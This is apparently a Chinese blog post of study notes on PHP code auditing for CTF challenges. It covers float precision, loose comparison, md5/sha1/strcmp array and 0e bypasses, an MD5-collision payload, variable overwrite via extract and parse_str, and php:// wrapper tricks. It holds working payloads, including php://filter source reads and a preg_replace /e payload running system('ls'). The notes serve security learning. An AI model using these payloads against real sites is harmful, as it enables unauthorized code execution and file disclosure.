PHP基础代码审计(函数篇)
说明
把笔记库中PHP代码审计丢到博客里,如果哪里写的不好/或者是有错误的地方,还请指出。
有关PHP语法的学习(建议参考):
有关PHP代码审计的阅读建议
(仓库)
burpheart/PHPAuditGuideBook: 《PHP代码审计入门指南》 这本指南包含了我在学习PHP代码审计过程中整理出的一些技巧和对漏洞的一些理解 (github.com)
- 白帽酱的,写的很好
审计环境
目前我用的主要有两种方案,第一种是Windows+VSCode|PHPStorm+phpStudy (2018),第二种是Linux (宝塔)+VSCode|PHPStorm,前者在一些临时性的操作的情况下会经常用到,后者主要用于审计一些比赛题目或项目
- VSCode
- Seay源代码审计系
- Xdebug
- PHPStorm
环境配置这里就略过了,教程网上一搜一大把。
PHP精度
首先简单介绍下PHP所的双精度格式,IEEE 754 https://zh.wikipedia.org/wiki/IEEE_754
IEEE 754表示方法:
IEEE754 一般分为半精度浮点数、单精度浮点数、双精度浮点数
这数为例,在这个长度下会使用1位符号,11位指数,52位尾数。
- 符号:0为正,1为负
- 指数:数据如果以2为底的幂,则采用偏移表示法
- 尾数:小数点后的数字
举几个例子:
IEEE 754标准在线转换网站:https://tooltt.com/floatconverter/
0.57采用IEEE 754标准转换成二进制后如下
1 | 0 01111111110 0010001111010111000010100011110101110000101000111101 |
将52位尾数转换成二进制后:0.56999999999999995
注:转换时52位尾数前面要加个1,以表示该二进制数为负数,然后在前面加上 0. 以表示该数为浮点数
注:基本上所有语言双精度格式都采用IEEE 754,可以自己转转看,https://www.sojson.com/hexconvert.html
0.58采用IEEE 754标准转换成二进制后如下
1 | 0 01111111110 0010100011110101110000101000111101011100001010001111 |
转成二进制后:0.57999999999999996
为此,如果将0.57100取整(intval),所返回的会是0.56,0.58100则为0.57
特别的,如果一个数为0.5899999999999999999,将这个数打印出来后会是0.59,而0.59,在十进制中是这样的,但如果在浮点上,所表现的数会为0.58999999999999997,实验方法如下
1 | echo serialize((float)0.59) . '<br>'; |
综上所述,永远不要以为程序会把浮点数的结果精确到最后一位,因为你永远不知道他里边是怎么运算的。
如果要避免上述的问题,解决方法如下
1 | intval(0.58 * 1000 / 10) 或 intval(0.57 * 1000 / 10) |
理论:
而正好,在PHP处理浮点数的运算中,采用的就是IEEE 754双精度格式,如果对一个数进行取整,所产生的最大相对误差为 1.11e-16,通过上面的例子,我们可以再举几个小实例
1 | echo 1989.9 . '<br>'; |
如果要一一解释太麻烦了。。这里就通俗点讲,上面的1989.9返回1989.9,而1989.99999…会返回1990,这是因为在二进制里边,99999转成二进制后会出现上述0.59的问题,所以1989.99999…会返回1990。
理论就大致这些,这里写个CTF例子来参考下。
1 | $flag = 'flag{test}'; |
注: strstr(v1, v2),该函数用于判断v2是否为v1的字串,如果是则该函数返回v1字符串从v2第一次出现的位置开始到v1结尾的字符串;否则,返回NULL。
这个例子大致一个情况就是,如果num=1则输出flag,这里由于使用了strstr函数,如果我们输入1的话自然会返回Out!,为此可以使用精度漏洞绕过去
Payload: ?num=0.999999999999999999999999
比较和类型转换漏洞
先对PHP比较运算进行一个简单概括
PHP包含松散和严格比较
松散比较(==
)比较值,但不比较类型,严格比较(===
)即比较值也比较类型
1 | echo (123 == "123")?1:0; |
注4: 字符串转成数字后会是0
1 | var_dump(0 == "a"); |
在PHP中类型转换有一定的缺陷,如果一个字符串要转成数值类型,首先对字符串进行一个判断,如果字符串包含e、**.、E则会作为float来取值,否则则为int,上述例子由于a没有包含任何东西,所以被当作int来处理了,这里要说明的是,如果字符串起始部分为数值,则采用起始的数值,否则一律为0**
具体查阅:https://www.php.net/manual/zh/language.types.numeric-strings.php
1 | var_dump(111 == "111a"); |
在PHP8.0.0之前(最新版本已修复),如果字符串与数字或者数字字符串进行比较,则会先进行类型转换再进行比较。
攻防PHP2
1 | <?php |
把admin给URL编码一下即可
1 | admin->%61%64%6d%69%6e |
但是发现传进去的值会直接给urldecode,为此在把编码后的admin再编码一遍
1 | %61%64%6d%69%6e->%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65 |
传参拿Flag
PHP弱类型比较
PHP是一门弱类型语言,这里是他的类型比较表 https://www.php.net/manual/zh/types.comparisons.php#types.comparisions-loose
strcmp()
描述:strcmp(str1, str2)
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
注5:在php5.0以前,strcmp返回的是str2第一位字母转成ascii后减去str1第一位字母。
1 | var_dump(strcmp("1","2")); |
当strcmp比较出错后,会返回null,null则为0,举个例子
1 | $flag = 'flag{123}'; |
为了使strcmp比较出错,可以传入一个数组
Payload: ?str[]
is_numeric()
is_numeric() 用于检测数值是否为数值,如果遇到这个函数,可以用上述转换类型的特性(版本小于8.0.0),如果传入的是字符串,会先将字符串转换成数值
1 | $flag = 'flag{111}'; |
Payload: ?id=2333,
Payload: ?id=2333%00
Payload: ?id=2333A
……
is_switch()
这个方法和类型转换一样大同小异,case会自动将字符转换成数值。这里来个例子就知道了
1 | $a = "233a"; # 注意这里 |
输出:flag{Give you FLAG}
md5()
描述:md5($字符串, $var2)
计算字符串的 MD5 散列值,如果var2为真将返回16字符长度的原始二进制格式
==(0e比较)
md5在处理哈希字符串的时候,如果md5编码后的哈希值时0e(科学计数法)开头的,都一律解释为0,所以当两个不同的值经过哈希编码后他们的值都是以0e开头的,则每个值都是0
1 | var_dump(0e912 == 0e112?1:0); |
常见md5以0e开头的值
数值型
1 | 240610708 0e462097431906509019562988736854 返回:0 |
字母型
1 | QLTHNDT 0e405967825401955372549139051580 返回:0 |
举个例子
1 | $flag = "flag{THIS_IS_REAL_FLAG}"; |
代码简单说明一下,v1和v2是两个参数变量,首先v1不等于v2,意思就是两个值必须不相同,其次md5后的v1和md5后的v2必须相同,这时候就可以使用上述0e方法构造Payload,只需找出哪个值经过md5编码后以0e开头即可
Payload: ?gat=240610708&tag=314282422
===(数组比较)
如果遇到下列程序
1 | $flag = "flag{THIS_IS_REAL_FLAG}"; |
用上述0e方法自然是不可行的(注意:===),这时候就得使用数组来绕过了,如果传入一个数组的值,会报出错误(md5只能使用字符串),报错后就相当于绕过===这个条件了
Payload: ?gat[]=&tag[]=
注6:在PHP 8.0.0时,该方法行不通了
md5碰撞
如果遇到不能传入数组,只能传入字符串的时候,如下例
1 | $flag = "flag{THIS_IS_REAL_FLAG}"; |
这时候就得需要md5碰撞,上面判断条件的意思是,str1和str2内容必须不同,但是md5必须相同。
说人话就是md5一样,但内容完全不一样的字符串
关于md5碰撞可以翻阅这篇论文:https://www.iacr.org/cryptodb/archive/2005/EUROCRYPT/2868/2868.pdf(等我能熟练阅读英语文章后再回来阐述说明)
这里我们先用工具跑一下,使用FastCool对md5进行一个简单碰撞
首先创建一个文件1.txt,在里边输入任意值,其次使用命令
1 | fastcoll -p 1.txt -o 2.txt 3.txt |
分别生成2.txt和3.txt,这时候打开会发现这些是二进制字符串(?)
接着对这两个文件内容分别进行md5编码和url编码,会发现md5后的编码是一样的
使用工具校验
接着构造Payload即可
1 | ?gat=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1Bih%D3%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8U%7C%3Dm%89%DB%11%B7%BFkr%84.%01h%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%96F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%94%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9d%84%B2%F1%03&tag=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1BihS%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8%D5%7C%3Dm%89%DB%11%B7%BFkr%84.%01%E8%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%16F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%14%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9%E4%84%B2%F1%03 |
sha1()
sha1的参数不能为数组,传入数组会返回NULL,所以先传一个数组使得sha1函数报错,接着再左右两边传入不一样的内容,两边条件自然=1,相等即可绕过
1 | $flag = "flag{Chain!}"; |
Payload: ?get[]=&teg[]=1
变量覆盖漏洞
变量如果未被初始化,且能够被用户所控制,那么很可能会导致安全问题。
1 | register_globals=ON |
如果传入一个参数**?id=1,并且这个参数把原有的变量值给覆盖掉了则叫做变量覆盖漏洞**,举个例子
1 | $flag = "flag{Chain!}"; |
上面程序返回如下
1 | a:Ice |
传入参数:**?get=Genshin**,返回
1 | a:Ice |
可以发现,**$a变量被我们传进去的get参数**给覆盖了
漏洞产生原因
- register_globals(全局变量)为 On
$$
使用不恰当- extract() 函数使用不当
- parse_str() 使用不当
- import_request_variables() 使用不当
$$
$$
(可变变量 - https://www.php.net/manual/zh/language.variables.variable.php)
简单概括就是一个可变变量获得了一个普通变量的值并作为这个可变变量的变量名
- $ - 普通变量,$a = 1
$$
- 引用变量,普通变量的值,$$b = "B"
1 | $a = "Ice"; |
返回
1 | Ice |
如果使用foreach来遍历数组的值,举个例子
1 | $a = "A"; # |
上面这个例子,直接运行返回如下
1 | A |
接着我们传入几个数据,如
1 | ?a=I'm A&b=I'm B |
最终返回如下
1 | A |
会发现$a
和$b
值被修改了,这是因为我们使用了foreach来遍历数组的值,上面有一句 $$key = $value;
这句的意思是将获取到的数组键名($_GET
)作为变量,那么数组中的键值将作为变量的值。
上面传进去的参数可以看作,只需把 $_GET
替换成 $array
即可
1 | $array = array( |
来道题
1 | $flag = "flag{Chain!}"; |
Payload: ?id=admin
extract()
描述:extract(array,flags,prefix)
- array:数组
- flags:
- EXTR_OVERWRITE - 如果有冲突,覆盖已有的变量。(默认)
EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。(需要第prefix参数) - …
- prefix:该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。
extract用来将变量从数组中导入到当前的符号表中,并返回成功导入到符号表中的变量数目
1 | $a = "Source"; |
返回
1 | $a = JP |
接着将第二个参数改为EXTR_PREFIX_SAME,并将prefix设置为fix
1 | $a = "Source"; |
返回
1 | $a = Source |
如果extract第二参数未设置,并且用户输入了带值的参数,例子
1 | extract($_GET); |
输入 ?v1=Hello&v2=World返回
1 | Hello |
来道例题
1 | extract($_GET); |
Payload: ?pass=admin
漏洞应用:ThinkPHP 5.x版本,详见:ThinkPHP 漏洞分析总结(主要RCE和文件 | Hyasin’s blog
parse_str()
描述:parse_str(str)用于将字符串解析成多个变量,没有返回值\
1 | parse_str("username=IceCliffs&password=123456"); |
输出
1 | Username: IceCliffs |
原本这个函数有array参数的,但在7.2后废除了,array变量会以数组元素的形式存入到这个数组,作为替代
来到例题
1 | $UIUCTF = "UIUCTF Hacker."; |
注意第四行,和前面的md5比较有关系,但不同的是这里加入了parse_str这个函数,这段代码大致意思就和上面md5绕过的意思一样,如果md5编码后的哈希值时0e(科学计数法)开头的,都一律解释为0,所以当两个不同的值经过哈希编码后他们的值都是以0e开头的,则每个值都是0,与众不同的是我们要覆盖掉**a[0]**这个变量
Payload: ?id=a[0]=240610708
register_globals
register_globals 设置为 on的时候,传递的参数会自动注册为全局变量。
1 | ini_set("register_globals", "On"); |
来个例子。。
1 | $flag = "flag{REAL_FLAG}"; |
Payload: getout=1(POST)
import_request_variables
import_request_variables
import_request_variables — 将 GET/POST/Cookie 变量导入到全局作用域中
注意:’import_request_variables’ 已在 PHP 5.4 版本中被移除
这里就不写了,网上自己搜教程
伪协议
先了解下php://
php:// — 访问各个输入/输出流(I/O streams)
说明:
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php.ini中的配置:
- 在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用php://作用为访问输入输出流
跟会读取文件内容的函数使用,如:include、include_once、require、require_once、file_get_contents
php://filter
作用:这个可以用来过滤我们发送或接收的数据。 在CTF中可以用来读取脚本源代码
1 | php://filter/read or write=/resource=数据流 |
resource=<要过滤的数据流> 必须。它指定了你要筛选过滤的数据流
read=<读链的筛选列表>
可选
。可以设定一个或多个过滤器名称,以管道符(|)分隔。
常用的有:
convert.base64
- 如果对其编码,则convert.base64-encode
- 对应的解码,则convert.base64-decode
convert.iconv.*
write=<写链的筛选列表>可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
举个例子
1 | $id = $_GET['id']; |
在CTF中可以用来读取文件内容(不用base64)
1 | php://filter/read=resource=files.txt |
用Base64
1 | php://filter/read=convert.base64-encode/resource=files.txt |
上方base64解码后为compare.php文件源码
例题
进入index.php页面后发现存在参数page,直接包含index.php文件
1 | http://111.200.241.244:57153/index.php?page=php://filter/read=convert.base64-encode/resource=index.php |
解码后为源代码
设置Header头X-Forwarded-For将来源设置为127.0.0.1,发现如果三个参数(pat、rep、sub)都设
置了会进入一个正则表达式,这里可以利用preg_replace的安全问题,详见:[https://xz.aliyun.com/t/2
577](https://xz.aliyun.com/t/2 577)
1 | ?pat=/1/e&rep=system('ls');&sub=1 |
然后搜一下flag就可以了
1 | ?pat=/1/e&rep=system('grep -r cyber .');&sub=1 |
php://input
是个可以读取请求的原始数据(输入/输出流)。 如果html表单编码设置为”multipart/form-data“,
请求是无效的。
一般在CTF中用于执行php代码(POST发包)
注:需在php中设置 allow_url_include = On
1 | include($_GET['id']); |
举个例子
1 | $id = $_GET['id']; |
这里我使用substr对字符串进行检测,如果包含php://则回显Out,substr可以用数组绕过
zip:// & bzip2 & zlib://
-
触发条件:
- allow_url_fopen: off/on
- allow_url_include: off/on
作用:
zip:// & bzip2:// & zlib:// 均属于压缩流,可以用来访问压缩文件中的子文件,可以不用指定后缀名,可修改为任意后缀。jpg、png、gif、xxx、etc…
ZIP使用:
1 | zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23) |
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
1 | ?file=zip://E:\web\d-cutevnc\test.jpg%23test.txt |
compores.bzip2://file.bz2
压缩phpinfo.txt为phpinfo.bz2上传,任意后缀名
1 | ?file=compress.bzip2://E:\web\d-cutevnc\test2.test |
file://
利用条件:
- allow_url_fopen: On
- allow_url_include: On
用于访问本地文件系统,在CTF中通常用来读取本地文件
1 | include($_GET["id"]); |
PHP基础代码审计(函数篇)